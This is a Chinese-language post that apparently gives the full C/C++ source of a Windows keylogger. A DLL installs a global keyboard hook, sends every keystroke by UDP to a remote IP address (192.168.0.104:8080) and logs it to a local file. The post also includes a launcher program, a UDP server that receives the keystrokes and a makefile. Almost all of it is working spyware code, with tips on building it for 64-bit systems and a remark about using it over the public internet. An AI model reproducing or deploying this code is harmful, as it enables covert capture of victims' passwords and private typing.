dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
HMODULE hHookDll;// 定义一个全局的HMODULE供SetWindowsHookEx函数使用
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hHookDll = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
hookdll.cpp
// hokdll.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include "pub.h"
#include <stdio.h>
/*dll使用说明
第一步:将hookdll.h和hookdll.lib加入到项目中
第二部:在项目cpp文件中加入
#include "hookdll.h"
#pragma comment(lib, "hookdll.lib")
第三步:在程序开始执行的时候调用
InstallLaunchEv()
第四步:程序常驻内存
第五步:程序退出的时候调用
UnInstallLaunchEv()
第六步:将hookdll.dll拷贝到项目编译后的可执行文件目录下
*/
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);
void strerror(DWORD errno);
void savelog(const char *s);
void send_udp(const char *s);
extern HMODULE hHookDll;
__declspec(dllexport) void WINAPI UnInstallLaunchEv()// dll的导出函数
{
UnhookWindowsHookEx(Hook);
}
__declspec(dllexport) void WINAPI InstallLaunchEv()// dll的导出函数
{
//HMODULE hHookDll = LoadLibrary("hookdll");// 得到dll的模块句柄
// Install keyboard hook to trap all keyboard messages
Hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, hHookDll, 0);// 为系统安装
if (Hook == NULL)
{
strerror(GetLastError());
}
}
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
char buf[100];
memset(buf, 0, sizeof(buf));
sprintf(buf, "%u", wParam); // 参数wParam为键盘扫描码
send_udp(buf);// 向远程主机发送udp消息
memset(buf, 0, sizeof(buf));
sprintf(buf, "%x\t%c\t%08x\n", wParam, wParam, lParam);// 将参数wParam,lParam值写到本地log
savelog(buf); // 发送后写日志
}
return Result;
}
void send_udp(const char *s) // 想目标主机发送消息
{
init_socket(); // 初始化socket
SOCKET st = create_send_socket();
send_work(st, "192.168.0.104", 8080, s);
close_socket(st);
}
void savelog(const char *s)// 向D盘目录下的my.log文件写log信息
{
FILE *p = fopen("E:\\my.log", "a+");// 在d盘目录下生成my.log文件
fputs(s, p);
fclose(p);
}
void strerror(DWORD errno)// 根据GetLastError()返回值,将错误信息转化为中文,写入my.log文件
{
void *lpMsgBuf;
FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
errno,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(char *)&lpMsgBuf,
0,
NULL
);
savelog((const char *)lpMsgBuf);
LocalFree(lpMsgBuf);
}
pub.h
#include <WinSock2.h>
int init_socket();// 初始化socket
int send_work(SOCKET st, const char *hostname, int port, const char *s);// 想hostname指定
void close_socket(SOCKET st);
SOCKET create_send_socket(); // 建立发送数据的udp socket
pub.cpp
#include "stdafx.h"
#include <stdio.h>
#include "pub.h"
#pragma comment(lib, "Ws2_32.lib")
int init_socket()// 初始化socket
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
return -1;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
return 0;
}
void close_socket(SOCKET st)
{
closesocket(st);
WSACleanup();
}
SOCKET create_send_socket() // 建立发送数据的udp socket
{
SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);// 建立UDP socket
if (st == 0)
{
return 0;// 如果建立socket失败,返回0
}
return st;// udp socket建立成功,返回socket描述符
}
int send_work(SOCKET st, const char *hostname, int port, const char *s)// 想hostname指定
{
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); // 指定port为要连接的端口号
addr.sin_addr.s_addr = inet_addr(hostname);// 指定hostname为要连接的IP地址
size_t rc = sendto(st, s, strlen(s), 0,
(struct sockaddr *)&addr, sizeof(addr));// 想指定的IP发送消息
return rc;
}
然后是建立一个win32引用程序来执行该钩子
testdll.cpp
// testdll.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "testdll.h"
#include "hookdll.h"
#pragma comment(lib, "hookdll.lib")
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
InstallLaunchEv();
::Sleep(300000);
UnInstallLaunchEv();
return 0;
}
hookdll.h
#ifdef __CPLUSPLUS
extern "C" {
#endif
void WINAPI UnInstallLaunchEv();
void WINAPI InstallLaunchEv();
#ifdef __CPLUSPLUS
}
#endif
唯一需要注意的是,如果操作系统是64位的,一定要编译64为的才能用,否则会出问题,我一开始就是老出问题,后来发现是这个原因
远程服务端需要注意的是编写的时候不要向Linux那样,因为他和Window是有区别的,还有就是这里钩子发送的是UDP消息,接受时候也要用UDP消息,我这边在本机上给本机发送的测试成功,还没有测在公网上的情况呢
下面是服务端代码
#ifdef WIN
#include <WinSock2.h>
#else
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#define SOCKET int
#endif
#include <stdio.h>
#define BUFSIZE 5 //1024 * 256
int init_socket()
{
// 如果是windows,执行如下代码
#ifdef WIN
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
return -1;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
#endif
return 0;
}
SOCKET create_recv_socket(int port)
{
if (init_socket() == -1)
return 0;
SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);// 建立UDP socket
if (st == 0)
return 0;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(st, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
printf("bind failed %s\n", strerror(errno));
return 0;
}
return st;// udp
}
// server端socket在port指定的断口上listen,接收来自client发送的文件
int recv_work(int port)
{
SOCKET st_recv = create_recv_socket(port);// 建立接受数据的UDP Socket
if (st_recv == 0) // 建立失败,函数返回
{
return 0;
}
char *buf = malloc(BUFSIZE);
#ifdef WIN
int len = 0;
#else
unsigned int len = 1;
#endif
struct sockaddr_in client_addr;
len = sizeof(client_addr);
memset(&client_addr, 0, sizeof(client_addr));
while (1)
{
memset(buf, 0, BUFSIZE);
// 接收来自client的数据,客户端第一次发送的文件名
printf("recvfrom start\n");
size_t rc = recvfrom(st_recv, buf, BUFSIZE, 0, (struct sockaddr *)&client_addr, &len);
printf("recvfrom end\n");
if (rc <= 0)
{
printf("recv failed %s\n", strerror(errno));
}
else
{
int tmp = atoi(buf);
printf("receiving %c\n", tmp);
}
}
free(buf);
#ifdef WIN
closesocket(st_recv);
WSACleanup();
#else
close(st_recv);
#endif
return 1;
}
int main(int arg, char *args[])
{
if (arg < 2)// 如果参数小于3个,main函数退出
{
printf("usage:server port\n");
return EXIT_FAILURE;
}
int iport = atoi(args[1]);// 将第二个参数转化为端口号
if (iport == 0)// 如果端口号为0,main函数退出
{
printf("port %d is invalid\n", iport);
return EXIT_FAILURE;
}
printf("recv is begin\n");
if (recv_work(iport) == 1)// 第一个参数为IP地址,第二个参数为端口号,第三个参数为需要发送的文件名
printf("recv success\n");
else
printf("recv fail\n");
return EXIT_FAILURE;
}
windows下的makefile文件,注意和Linux下的写法有不同地方
.SUFFIXES:.c .o
CC=gcc
SERVERSRCS=abc.c
SERVEROBJS=$(SERVERSRCS:.c=.o)
SERVEREXEC=abc.exe
all: $(SERVEROBJS) $(CLIENTOBJS)
$(CC) -static -o $(SERVEREXEC) $(SERVEROBJS) -lWs2_32
@echo '----------------ok----------------'
.c.o:
$(CC) -Wall -DWIN -o $@ -c $<
clean:
rm -f $(SERVEROBJS)
rm -f core*